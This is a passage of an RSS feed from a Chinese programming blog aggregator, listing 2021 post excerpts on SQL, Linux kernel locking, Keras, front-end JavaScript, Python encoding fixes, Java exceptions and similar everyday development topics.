      <description>1. 考试分数（一） 1.1 题目描述 牛客每次考试完，都会有一个成绩表(grade)，如下:&#xA;请你写一个sql语句查询各个岗位分数的平均数，并且按照分数降序排序，结果保留小数点后面3位(3位之后四舍五入):&#xA;1.2 语句实现 -- select job, round(avg(score),3) avg select job, round(sum(score)/count(id),3) avg from grade group by job order by avg desc; 2. 考试分数（二） 2.1 题目描述 牛客每次考试完，都会有一个成绩表(grade)，如下:&#xA;请你写一个sql语句查询用户分数大于其所在工作(job)分数的平均分的所有grade的属性，并且以id的升序排序，如下:&#xA;2.2 语句实现 select g.* from grade g join (select job, round(avg(score),3) as avg from grade group by job) as a on g.job = a.job where g.score &amp;gt; a.avg order by g.id; 3. 考试分数（三） 3.1 题目描述 牛客每次举办企业笔试的时候，企业一般都会有不同的语言岗位，比如C++工程师，JAVA工程师，Python工程师，每个用户笔试完有不同的分数，现在有一个分数(grade)表简化如下:&#xA;不同的语言岗位(language)表简化如下:</description>
    </item>
    <item>
      <title>Linux内核同步的实现方式总结</title>
      <link>https://bchobby.github.io/posts/5f253cbaad94dbd8f855a6a5bd01d04d/</link>
      <pubDate>Fri, 02 Apr 2021 09:23:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f253cbaad94dbd8f855a6a5bd01d04d/</guid>
      <description>目录&#xA;1、原子操作&#xA;2、自旋锁&#xA;2.1 自旋锁&#xA;2.2 读写自旋锁&#xA;2.3 如何避免死锁&#xA;3、信号量&#xA;3.1 信号量&#xA;3.2 读写信号量&#xA;4、互斥体&#xA;5、完成变量&#xA;6、顺序锁&#xA;7、禁止内核抢占&#xA;8、内存屏障&#xA;1、原子操作 原子操作用来保证执行过程不被打断，是很多其他同步方法的基石。&#xA;操作系统对原子操作的实现是基于汇编的，另外现在很多处理器也提供了原子操作的原语级支持。&#xA;Linux操作系统实现了三种原子操作：32位整数原子操作、64位整数原子操作、位原子操作。&#xA;原子整数操作：原子整数操作的操作对象是32位的整数，常用场景是实现计数器，操作系统提供了自增1和自减1的原子操作，用于支持计数器。64位整数原子操作：原子操作的目标是64位的数字。64位的操作系统通常需要64位整数的原子操作，但是大多数32位操作系统不支持，x86-32除外。原子位操作：原子位操作是用来对给定指针指向的内存地址中，数据特定的位进行操作。 2、自旋锁 2.1 自旋锁 Linux最常见的锁是自旋锁。自旋锁可以保证被加锁的目标最多只被一个线程持有，如果有线程试图获取一个正在已经被持有的自旋锁，即锁竞争发生的时候，该试图持锁的线程就会进行忙等待，自旋等待锁可以重新启用。&#xA;自旋锁会关闭内核抢占，持有自旋锁的进程，不会被其他进程抢占CPU。&#xA;1、自旋锁的适用场景&#xA;由于在锁争用的时候，自旋锁会导致线程忙等待，这会浪费处理器的资源，所以自旋锁不应该长期被持有。自旋锁应该用来给等待时间很短的场景添加轻量级锁，这样可以避免线程挂起和唤醒带来的两次上下文切换的开销。&#xA;2、单处理器下的自旋锁&#xA;需要注意的是，单处理器上不需要自旋锁。单处理器在编译的时候，会将自旋锁简化为是否启用内核抢占的开关。&#xA;3、Linux的自旋锁不可重入&#xA;Linux的自旋锁是不支持递归的，换句话说，Linux的自旋锁不可重入。这一点可能和其他操作系统的实现不同。Linux下，如果持有自旋锁的任务视图获取自己已经持有的锁，则会陷入忙等待，而没有时间释放自己的锁，导致自己陷入死锁。&#xA;4、自旋锁和中断&#xA;中断处理程序中如果需要加锁，可以使用自旋锁，因为自旋锁不会陷入睡眠。当然中断处理程序获取自旋锁之前需要先禁止本地中断，因为其他中断处理程序可能会打断当前持有自旋锁的中断处理程序，并再次请求该自旋锁，并陷入忙等待无法结束。&#xA;2.2 读写自旋锁 很多时候，对于锁来说，读和写是两种不同的处理场景。写操作对并发的控制相对严格，不允许并发，包括写操作和写操作、写操作和读操作之间的并发；但是读操作的并发要求相对较低，读操作和读操作之间互不干扰，对并发没有限制。&#xA;Linux内核提供了一种读-写自旋锁，分别为读操作和写操作提供了不同的锁。多个读操作可以同时获取到读锁，但是一旦有任务获取了写锁，则其他任务不允许再获取读锁和写锁。&#xA;这种读写锁相对来说对于读锁更友好，因为一旦有大量的任务都在读锁，写任务只能陷入等待，而读任务依然可以源源不断地获取读锁，导致写任务陷入饥饿。&#xA;2.3 如何避免死锁 虽然很难保证代码一定不会出现死锁，但是一些规则对避免死锁发生有很大帮助：&#xA;按顺序加锁。使用嵌套的锁时，必须保证对所有获取锁的任务都以相同的顺序加锁，这样可以避免致命拥抱类型的死锁防止发生饥饿。判断代码的执行是否一定会结束，如果某种情况一直不发生，是否有必要一直等待下去不要重复请求同一个锁设计尽量简单。越复杂的加锁方案，就越有可能造成死锁 3、信号量 3.1 信号量 Linux的信号量是一种睡眠锁。如果任务想要获取一个不可用的信号量时，信号量会将任务推进一个队列，然后让这个任务睡眠。这时处理器可以去处理其他任务。当该信号量可用后，处于等待队列的任务将被唤醒，并获得该信号量。&#xA;信号量的睡眠是可以被打断的，Linux内核同时提供了可以被打断和不允许被打断两种方式。&#xA;1、信号量的使用者数量&#xA;信号量允许任意数量的锁持有者，这个数量可以在声明信号量的时候指定。这个数量被称为信号量的使用者数量，或者数量。&#xA;2、互斥信号量和计数信号量&#xA;使用者数量为1的信号量，被称为互斥信号量，或者二值信号量。这种信号量只允许一个进程持锁，是一种Linux内核常用的锁。&#xA;如果使用者数量大于1，这种被称为计数信号量。这种运行多个进程同时持有锁，相对来说使用的机会较少。&#xA;3、信号量和自旋锁对比&#xA;信号量适用于锁会被长时间持有的情况。如果锁持有时间较短，自旋锁会更合适；信号量只能用于进程上下文，而不能用于中断上下文。由于信号量发生争用的时候，没获取到信号量的进程会睡眠，而中断上下文不允许睡眠，所以中断上下文中只能使用自旋锁；任务占用自旋锁的时候不允许请求信号量，因为持有自旋锁的时候不允许睡眠，但是等待信号量的时候会睡眠；信号量允许多个进程同时持有锁，而自旋锁最多只能有一个任务持锁。 3.2 读写信号量 读写信号量和信号量的关系，与读写自旋锁和自旋锁的关系类似。&#xA;读写信号量会对写任务的数量进行约束，但是不会对读信号量的数量有任何限制。&#xA;需要注意的是，读写信号量的使用者数量只能是1，也就是说，最多只能有一个写任务持有信号量。&#xA;和信号量不同的是，读写信号量的睡眠是不允许被动打断的。&#xA;和读写自旋锁不同的是，Linux内核提供了一种锁升级的机制，可以将读信号量升级为写信号量。而读写自旋锁不能锁升级。&#xA;4、互斥体 原本，互斥体是描述任何可以睡眠的互斥锁，但是在Linux内核3.18版本中，引入了一种新的锁机制：互斥体（mutex）。这种互斥体的行为和计数为1的信号量基本相同，区别在于互斥体的接口操作更简洁、实现更高效、使用限制更强。&#xA;mutex的简洁性和高效性来源于它只实现了互斥锁的基本行为，因此也导致了它的使用场景更定向、限制更强：&#xA;任何时候只能有一个进程持锁。相当于计数为1的信号量只能由加锁者自身来解锁。即不允许在一个上下文中加锁，在另一个上下文中解锁。这限制了mutex不能用于内核和用户空间同步的复杂场景，通常应该在同一个上下文中加锁和解锁不允许递归的加锁和解锁。不允许获取已经获取的锁，也不允许解锁已经解锁的锁当持有一个mutex时，进程不允许退出。mutex不能在中断和下半部中使用。mutex只能通过官方的API管理。只支持官方提供的基本操作，不允许被复制、手动初始化、或者重复初始化等。官方支持的操作包括： 互斥体和信号量的选择：</description>
    </item>
    <item>
      <title>RNN应用 和 保存  模型载入</title>
      <link>https://bchobby.github.io/posts/b623ec84f87ae76428a43dcf079a6f28/</link>
      <pubDate>Thu, 01 Apr 2021 21:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b623ec84f87ae76428a43dcf079a6f28/</guid>
      <description>import numpy as np from keras.datasets import mnist from keras.utils import np_utils from keras.models import Sequential from keras.layers import Dense from keras.optimizers import Adam from keras.layers.recurrent import SimpleRNN # 最简单的RNN # 数据长度 - 一行有28个像素 input_size = 28 # 序列长度 - 一共有28行 time_steps = 28 # 隐藏层cell个数 cell_size = 50 # 载入数据 (x_train,y_train),(x_test,y_test) = mnist.load_data() # (60000,28,28) x_train = x_train/255.0 x_test = x_test/255.0 # 换one hot格式 y_train = np_utils.to_categorical(y_train,num_classes=10) y_test = np_utils.</description>
    </item>
    <item>
      <title>vue Syntax Error: Error: PostCSS plugin postcss-pxtorem requires PostCSS 8.</title>
      <link>https://bchobby.github.io/posts/6ff926a09f4a2e6fe6cef8237db7311e/</link>
      <pubDate>Thu, 01 Apr 2021 18:13:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ff926a09f4a2e6fe6cef8237db7311e/</guid>
      <description>vue Syntax Error: Error: PostCSS plugin postcss-pxtorem requires PostCSS 8. Migration guide for end-users: 关于脚手架生成项目,配置自适应postcss-pxtorem配置报错&#xA;首先你在.postcssrc.js文件正常配置(详细配置)&#xA;module.exports = { plugins: { // 兼容浏览器，添加前缀 autoprefixer: { overrideBrowserslist: [ &#34;Android 4.1&#34;, &#34;iOS 7.1&#34;, &#34;Chrome &amp;gt; 31&#34;, &#34;ff &amp;gt; 31&#34;, &#34;ie &amp;gt;= 8&#34;, &#34;last 10 versions&#34;, // 所有主流浏览器最近10版本用 ], grid: true, }, &#34;postcss-pxtorem&#34;: { rootValue: 37.5, //结果为：设计稿元素尺寸/16，比如元素宽320px,最终页面会换算成 20rem propList: [&#34;*&#34;], //是一个存储哪些将被转换的属性列表，这里设置为[&#39;*&#39;]全部，假设需要仅对边框进行设置，可以写[&#39;*&#39;, &#39;!border*&#39;] unitPrecision: 5, //保留rem小数点多少位 //selectorBlackList: [&#39;.radius&#39;], //则是一个对css选择器进行过滤的数组，比如你设置为[&#39;fs&#39;]，那例如fs-xl类名，里面有关px的样式将不被转换，这里也支持正则写法。 replace: true, //这个真不知到干嘛用的。有知道的告诉我一下 mediaQuery: false, //媒体查询( @media screen 之类的)中不生效 minPixelValue: 12, //px小于12的不会被转换 }, }, }; 也可以这样(简单一点)</description>
    </item>
    <item>
      <title>模态窗打开防止底层滑动</title>
      <link>https://bchobby.github.io/posts/fc974d83f7044566c943fd9d15094da4/</link>
      <pubDate>Thu, 01 Apr 2021 16:56:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc974d83f7044566c943fd9d15094da4/</guid>
      <description> let bodyEl = document.body let top = 0 export function stopBodyScroll(isFixed: boolean){ if (isFixed) { top = window.scrollY bodyEl.style.position = &#39;fixed&#39; bodyEl.style.top = -top + &#39;px&#39; document.body.style.overflow = &#39;hidden&#39; } else { bodyEl.style.position = &#39;&#39; bodyEl.style.top = &#39;&#39; window.scrollTo(0, top) // 回到原先的top document.body.style.overflow = &#39;scroll&#39; } } </description>
    </item>
    <item>
      <title>python3遇到中文编码‘ascii‘ codec can‘t encode characters 的问题</title>
      <link>https://bchobby.github.io/posts/4b496a0ea67b2c9f0ae2c2ebc1794fc4/</link>
      <pubDate>Thu, 01 Apr 2021 15:37:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b496a0ea67b2c9f0ae2c2ebc1794fc4/</guid>
      <description> 制作好Docker镜像，上传到服务器上，然后遇到&#xA;UnicodeEncodeError: ‘ascii’ codec can’t encode characters in position 39-45: ordinal not in 中文编码错误的问题。&#xA;记录一下解决方案：&#xA;在python2中，也遇到过此问题，当时博主只在python脚本中添加&#xA;import sys reload(sys) sys.setdefaultencoding(&#39;utf-8&#39;) 但是，楼主是在 python3中遇到这个问题，Python3已经默认是utf-8编码了，可用&#xA;print(sys.getdefaultencoding()) 显示 utf-8，没问题&#xA;于是我用&#xA;print(sys.stdout.encoding) 好家伙，竟然显示 ANSI_X3.4-1968&#xA;这可能是系统编码导致&#xA;于是乎&#xA;在终端输入&#xA;locale 显示&#xA;可以看到当前编码格式为POSIX，而这种编码格式不支持中文&#xA;楼主用&#xA;locale -a 查看容器所有语言环境&#xA;看到一行 C.UTF-8，这个是支持中文编码的&#xA;于是，在运行python 脚本前，将C.UTF-8添加到环境变量中，如下&#xA;LANG=C.UTF-8 source /etc/profile python3 test.py </description>
    </item>
    <item>
      <title>Echarts 实现动态数据时间轴</title>
      <link>https://bchobby.github.io/posts/0c35cac23ee4c3bff4a025f1ef6036ed/</link>
      <pubDate>Thu, 01 Apr 2021 13:38:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c35cac23ee4c3bff4a025f1ef6036ed/</guid>
      <description>&amp;lt;div id=&#34;totalFlowRate&#34; style=&#34;height:620px;&#34; &amp;gt;&amp;lt;/div&amp;gt; export default { data() { return { timeSpace: 5, // 默认五分钟 timeLong: 100, // 8小时间隔五分钟 xData: [], // x轴数据 start: 0, end: 0, timer: null, hadleMove: false // 判断是否手动调节滑块 } }, methods: { // 时间间隔变化 handleTimeSpaceChange() { clearInterval(this.timer) this.timer = null this.timeLong = Math.ceil( (8.5 * 60 * 60 * 1000) / (this.timeSpace * 60 * 1000) ) this.handleTime() this.vitalData() // 生命体征数据函数 this.timer = setInterval(this.vitalData, this.</description>
    </item>
    <item>
      <title>react ref获取元素高度</title>
      <link>https://bchobby.github.io/posts/4aad48d7d0007a841a34b5c91ad01422/</link>
      <pubDate>Thu, 01 Apr 2021 10:35:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4aad48d7d0007a841a34b5c91ad01422/</guid>
      <description> import ReactDOM from &#34;react-dom&#34;; class App extends Component { constructor(props) { super(props); this.state = { width: 0 }; } componentDidMount() { const width = this.divElement.clientWidth; this.setState({ width }); } render() { return ( &amp;lt;div className=&#34;test&#34; ref={divElement =&amp;gt; (this.divElement = divElement)}&amp;gt; Size: &amp;lt;b&amp;gt;{this.state.width}px&amp;lt;/b&amp;gt; but it should be 18px after the render &amp;lt;/div&amp;gt; ); } } const rootElement = document.getElementById(&#34;root&#34;); ReactDOM.render(&amp;lt;App /&amp;gt;, rootElement); </description>
    </item>
    <item>
      <title>go语言添加环境变量报错 go env -w GO111MODULE=auto</title>
      <link>https://bchobby.github.io/posts/a8ae48b7ca0c8bf55618cfce1d4c8abb/</link>
      <pubDate>Wed, 31 Mar 2021 21:27:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8ae48b7ca0c8bf55618cfce1d4c8abb/</guid>
      <description>go语言添加环境变量报错 go env -w GO111MODULE=auto warning: go env -w GO111MODULE=... does not override conflicting OS environm&#xA;windos&#xA;删除你系统环境变量（关于go语言的所有值）&#xA;设置成功保存在你的env文件里面&#xA;linux系统&#xA;/etc/profile&#xA;删除你系统环境变量（关于go语言的所有值）&#xA;和windows方法相同&#xA;有的解决方法简直就是误人子弟</description>
    </item>
    <item>
      <title>JavaScript的第四天作业案例</title>
      <link>https://bchobby.github.io/posts/98364867a553260a83b6abc9e8a38021/</link>
      <pubDate>Wed, 31 Mar 2021 21:00:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98364867a553260a83b6abc9e8a38021/</guid>
      <description>JavaScript的第四天 基础篇 1.打印0-20之间的整数, 将每个数输出到控制台&#xA;运行结果&#xA;2.用户输入第1个数, 用户再次输入第2个数 ，请将这2个数之间的整数打印出来&#xA;运行结果&#xA;3.打印1-100之间能被3整除的整数&#xA;运行结果&#xA;4.打印1到用户输入的数值之间能被3整除的整数&#xA;加入用户输入 10，就是求 1~10之间的能被3整除的数，如果用户输入 88，则求 1~88之间能被3整除的&#xA;-&#xA;运行结果&#xA;5.计算1-10之间的和&#xA;可以继续升华，做 用户输入1个数，求 1 到 用户输入数之间的和&#xA;利用 while 和 for 都实现一遍&#xA;运行结果&#xA;6.打印10-100之间, 所有偶数的和&#xA;可以继续升华，做 用户输入1个数，求 10 到 用户输入数之间所有偶数和&#xA;利用 while 和 for 都实现一遍&#xA;运行结果&#xA;提高篇 1 求100以内所有能被3和7整除的数的和&#xA;题目描述：&#xA;把1-100之间所有能够被3和7同时整除的数找出来，计算累加和 题目提示：&#xA;在算入累加和之前，使用%判定遍历到的数字是不是可以被3和7整除&#xA;运行结果&#xA;用户登录验证 题目描述：&#xA;接收用户输入的用户名和密码，若用户名为 “admin” ,且密码为 “123456” ,则提示用户登录成功! 否则，让用户一直输入。 题目提示：&#xA;利用while循环&#xA;运行结果&#xA;3 求1-100之间个位数不为3的数的累加和。 题目描述：&#xA;求整数1～100的累加值，但要求跳过所有个位为3的数。 题目提示：&#xA;使用%判个位数是否为3用continue实现</description>
    </item>
    <item>
      <title>二分</title>
      <link>https://bchobby.github.io/posts/09011b5cc02016992e53544efcf03d99/</link>
      <pubDate>Wed, 31 Mar 2021 18:26:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09011b5cc02016992e53544efcf03d99/</guid>
      <description>一.什么是二分搜索？ 在有界并有序的解空间内不断缩减可能存在的范围，从而得到问题最优解的答案。&#xA;只有有界闭区间才能保证缩减次数是有限的，同时也只有存在单调性才能够保证二分的使用是正确的，保证去掉的值是不合法或者不是最优解。&#xA;二.二分搜索的实现 求最有解可以转换成求满足某个条件C(x)的最大(/最小)的x&#xA;const double eps = 1e-6; bool C(typedef x){&#x9;//判断x是否满足……条件，并返回结果 /* ……*/ } //整数二分 int bsearch(int l,int r){ while(r - l &amp;gt; 1){ int mid = (l + r) / 2; if(C(mid))&#x9;l = mid; else&#x9;r = mid; } return l; } //浮点数二分 double bsearch(double l,double r){ while(r - l &amp;gt; eps){ double mid = (l + r) / 2; if(C(mid)) r = mid; else l = mid; } return l; } 三.</description>
    </item>
    <item>
      <title>【Java基础】Java异常的捕获及处理</title>
      <link>https://bchobby.github.io/posts/d8a00c7f12e7dfd6ae52092ff1969db4/</link>
      <pubDate>Wed, 31 Mar 2021 15:43:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8a00c7f12e7dfd6ae52092ff1969db4/</guid>
      <description>《第一行代码：Java》第6章、异常的捕获及处理 读书笔记&#xA;文章目录 第6章、异常的捕获及处理6.1 认识异常6.2 异常处理printStackTrace 6.3 异常的处理流程6.4 throws关键字6.5 throw关键字6.6 异常处理的标准格式6.7 RuntimeException类6.8 assert关键字6.9 自定义异常本章小结 第7章、Eclipse开发工具 第6章、异常的捕获及处理 6.1 认识异常 异常是程序中导致程序中断的一种指令流，例：&#xA;package com.yootk.demo; public class TestDemo { public static void main(String args[]) { System.out.println(&#34;1. 除法计算开始。&#34;) ; System.out.println(&#34;2. 除法计算：&#34; + (10 / 0)) ; // → 此处产生异常 // 出现异常并且没有正确处理后，异常之后的语句将不再执行 System.out.println(&#34;3. 除法计算结束。&#34;) ; } } 本程序将产生“ArithmeticException”异常，此时如果没有正确的处理异常，程序就会出现中断执行的情况，为了让程序在出现异常后依然可以正常执行完毕，需要引入异常处理语句来完善代码编写。&#xA;6.2 异常处理 *Java针对异常的处理提供了3个核心的关键字：try、catch、finally，利用这3个关键字就可以组成以下异常处理格式：&#xA;try { // 有可能出现异常的语句 }[catch(异常类型 对象) { // 异常处理 }catch(异常类型 对象) { }catch(异常处理 对象) { // 异常处理 }.</description>
    </item>
    <item>
      <title>RobotFramework 解决中文乱码问题</title>
      <link>https://bchobby.github.io/posts/1fe58a106af7c177ffcf87e48e5b2071/</link>
      <pubDate>Wed, 31 Mar 2021 15:20:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fe58a106af7c177ffcf87e48e5b2071/</guid>
      <description>RobotFramework 解决中文乱码问题 1.在python安装目录中找到testrunnerplugin.py文件&#xA;D:\PYTHONANZHUANG\Lib\sitepackages\ robotide\contrib\ testrunner\testrunnerplugin.py （2）编辑estrunnerplugin.py文件encoding内容&#xA;encoding = {&#39;CONSOLE&#39;: CONSOLE_ENCODING, &#39;SYSTEM&#39;: OUTPUT_ENCODING, &#39;OUTPUT&#39;: OUTPUT_ENCODING} 注意：&#xA;使用python ride.py 重启RIDE</description>
    </item>
    <item>
      <title>linux下command not found各种情况解决方案</title>
      <link>https://bchobby.github.io/posts/7368a24f150a85b199acf9ef3693d741/</link>
      <pubDate>Wed, 31 Mar 2021 12:35:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7368a24f150a85b199acf9ef3693d741/</guid>
      <description> linux下command not found各种情况解决方案&#xA;参考文章：&#xA;（1）linux下command not found各种情况解决方案&#xA;（2）https://www.cnblogs.com/chinafine/articles/2652449.html&#xA;备忘一下。 </description>
    </item>
    <item>
      <title>springBoot使用Mybatis处理Decimal类型保留两位小数不丢失精度</title>
      <link>https://bchobby.github.io/posts/275f4e0cf7a8092cbbb9ecd7a9083bfa/</link>
      <pubDate>Wed, 31 Mar 2021 10:37:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/275f4e0cf7a8092cbbb9ecd7a9083bfa/</guid>
      <description>1.配置Mybatis处理Decimal类型类 @MappedJdbcTypes(JdbcType.DECIMAL) public class MyBigDecimalTypeHandler extends BigDecimalTypeHandler { @Override public BigDecimal getNullableResult(ResultSet rs, String columnName) throws SQLException { BigDecimal result =super.getNullableResult(rs, columnName)==null?BigDecimal.ZERO.setScale(2, BigDecimal.ROUND_HALF_UP):super.getNullableResult(rs, columnName).setScale(2, BigDecimal.ROUND_HALF_UP); return result; } @Override public BigDecimal getNullableResult(ResultSet rs, int columnIndex) throws SQLException { return super.getNullableResult(rs, columnIndex)==null?BigDecimal.ZERO.setScale(2, BigDecimal.ROUND_HALF_UP):super.getNullableResult(rs, columnIndex).setScale(2, BigDecimal.ROUND_HALF_UP); } @Override public BigDecimal getNullableResult(CallableStatement cs, int columnIndex) throws SQLException { return super.getNullableResult(cs, columnIndex)==null?BigDecimal.ZERO.setScale(2, BigDecimal.ROUND_HALF_UP):super.getNullableResult(cs, columnIndex).setScale(2, BigDecimal.ROUND_HALF_UP); } } 2.注册 在yml文件配置，此处我用的是mybatis-plus的配置，使用mybatis原生的采用mybatis的type-handlers-package&#xA;3.Springboot中Bigdecimal以json格式返回前端依然丢失小数点 @JsonFormat(shape = JsonFormat.Shape.STRING) private BigDecimal test; 就是在把数据给前端的时候，把数据转换成string类型，这样就不会丢失小数点后面的（.</description>
    </item>
    <item>
      <title>导航栏保持高亮状态（适合共用导航）</title>
      <link>https://bchobby.github.io/posts/27853e48dec731264fb9d430d9a045fe/</link>
      <pubDate>Wed, 31 Mar 2021 10:16:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27853e48dec731264fb9d430d9a045fe/</guid>
      <description>导航栏是所有页面共用的组件，导航栏会单独分离出来作为各个页面的引用，很多时候需要高亮当前页面的选项。这里用js来控制高亮情况。&#xA;（根据自己的业务需求修改样式）&#xA;思路：寻找与当前页面路由匹配的href&#xA;css ：&#xA;.active{ color: #fff; background-color: #c92b30; } 当前页面高亮的css类为active html：&#xA;&amp;lt;div id=&#34;navbars&#34;&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;li class=&#34;nav-item atiive&#34;&amp;gt; &amp;lt;a href=&#34;index&#34;&amp;gt;首页&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li class=&#34;nav-item&#34;&amp;gt; &amp;lt;a href=&#34;page1.html&#34;&amp;gt;页面1&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li class=&#34;nav-item&#34;&amp;gt; &amp;lt;a href=&#34;page2.html&#34;&amp;gt;页面2&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li class=&#34;nav-item&#34;&amp;gt; &amp;lt;a href=&#34;page3.html&#34;&amp;gt;页面3&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li class=&#34;nav-item&#34;&amp;gt; &amp;lt;a href=&#34;page4.html&#34;&amp;gt;页面4&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; js：&#xA;$(function () { // 获取当前页面的网址 let url = location.href; // 当前页面的高亮状态 let status = false; // 检索每个id为navbars中的a标签，为页面添加高亮状态 $(&#39;#navbars a&#39;).each(function () { // 找到跟当前网址与url匹配，并且不为空。找到就在相应位置添加高亮class if((url + &#39;/&#39;).</description>
    </item>
    <item>
      <title>FairyGUI笔记-(cocos&#43;lua)</title>
      <link>https://bchobby.github.io/posts/75ba637b76d9a611383569d19e7da943/</link>
      <pubDate>Wed, 31 Mar 2021 08:41:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75ba637b76d9a611383569d19e7da943/</guid>
      <description>--* 持续更新&#xA;- 组件规则&#xA;- 不能有重名，否则getChild()会报错；&#xA;- bg&#xA;- 组件内的所有的元素，都可以通过fguiObj:getChild( childName )获得；&#xA;- 但是高级组想获得组里面的元素需要：fguiObj:getChildInGroup( GroupObj, childName ); 也可以直接用fgui:getChild( childName )获得高级组里面的元素；&#xA;- 因为fguiObj:getChild( childName )能查找多所有，所以，不能有重名元素；&#xA;- 直接使用FGUI的关联功能：&#xA;*- 其中块，先设为组；&#xA;*- 界面布局完成后，将块（组A）转换为组件A；&#xA;*- 设置组件A的 轴心，并关联上级组件（Parent），并设置 点击可穿透空白区域；&#xA;*- 在游戏中设置组件（Paraent）size为屏幕大小，即可实现适配功能；&#xA;- 每个组件只能获得自己的child；组件A中包含组件B，组件B中的child，只能通过组件B去get；&#xA;--- FairyGUI编辑器&#xA;- 项目设置里面-&amp;gt;字体设置&#xA;- 点击空白处，就会显示组件的属性&#xA;- 组件，有个设计图属性；可以把美术ui示意图拖动到里面，从而辅助ui布局；ui布局完成后，删除图片资源，同时清空设计图里面的资源路径；&#xA;- 一般不勾选同时作为锚点，勾选后会导致关联系统失效;&#xA;- 图片等，有个填充方法属性；可以模拟进度条，倒计时等效果；&#xA;- 文字，勾选输入，就变成输入框了；&#xA;- UBB语法，在cocos中，只有富文本才支持，普通文本在程序中不支持；&#xA;- 富文本，可以是文字按钮，支持链接和图片混合，支持html语法等&#xA;- 创建位图字体&#xA;- 控制器，控制移动等；例如：元素从第0页位置，移动到第1页元素所在位置；同理，可以逆向从第1页到第0页位置；&#xA;- 按住ctr键，滚动鼠标，可以放大，缩小；&#xA;- 文字，属性面板，有个自动大小，可以自动更改&#xA;- 关联&#xA;- 可以使用关联，设置组件大小铺满全屏，然后其他的设置关联后，就可以自动适配屏幕，不用代码控制了&#xA;- 关联的作用是：保持跟父节点的相对距离不变；&amp;lt;保持相对距离不变&amp;gt;；比如金币图片保持在数字左边，图片关联数字，则数字变化时就可以跟着动态调整位置保持在数字的左侧&amp;lt;哪怕数字换行，也可以保持在左侧位置&amp;gt;</description>
    </item>
    <item>
      <title>趣味Python — 不到20行代码制作一个 “手绘风” 视频</title>
      <link>https://bchobby.github.io/posts/6048dd2ac8ac48f7f9a49cc33539e4c7/</link>
      <pubDate>Wed, 31 Mar 2021 00:39:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6048dd2ac8ac48f7f9a49cc33539e4c7/</guid>
      <description>关注公众号：【小张Python】，为你准备了 50+ 本Python 精品电子书籍 与 50G + 优质视频学习资料，后台回复关键字：1024 即可获取；如果对博文内容有什么疑问，后台添加作者【个人微信】，可与作者直接进行交流&#xA;Hello 大家好，我是小张，好久不见~&#xA;本期推文与计算机视觉相关，用不到 20 行Python代码将一张图片由自然风转化为手绘风，期间未对图片进行任何预处理、后处理；代码中只借助了两个常见库，核心计算由 Numpy 负责 ，Pillow 负责图片读写&#xA;在正文开始之前，先看一下最初效果，下面是单张图片转换前后对比&#xA;图一&#xA;图二&#xA;图三&#xA;为了增加趣味性，后面将这段代码应用到一个视频中，加上一个背景音乐，新鲜的 “手绘风视频” 出炉&#xA;Python 手绘风视频制作！&#xA;“手绘风”实现步骤 讲解之前，需要了解手绘图像的三个主要特点：&#xA;图片需为灰度图，是单通道的；边缘部分线条较重涂抹为黑色，相同或相近像素值转换后趋于白色；在光源效果的加持下，灰度变化可模拟人类视觉的远近效果 读取图片，转化为数组&#xA;因为后面要用到像素计算，为了方便，事先将读取后的图片转化为数组&#xA;a = np.asarray(Image.open(&#34;Annie1.jpg&#34;).convert(&#39;L&#39;)).astype(&#39;float&#39;) 计算 x,y,z 轴梯度值，并归一化&#xA;刚才提到手绘照片的一个特点，就是 手绘照片对边缘区域更加侧重，定位图片边缘部分，最有效方式就是计算梯度，用灰度变化来模拟图片远近效果，depth 表示预设深度，z 轴默认梯度为 1&#xA;depth = 10. # (0-100) grad = np.gradient(a) # 取图像灰度的梯度值 grad_x, grad_y = grad # 分别取横纵图像梯度值 grad_x = grad_x * depth / 100. grad_y = grad_y * depth / 100.</description>
    </item>
    <item>
      <title>Web安全漏洞梳理（一）</title>
      <link>https://bchobby.github.io/posts/0673db8a390dbf278f2d943499acee84/</link>
      <pubDate>Tue, 30 Mar 2021 20:44:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0673db8a390dbf278f2d943499acee84/</guid>
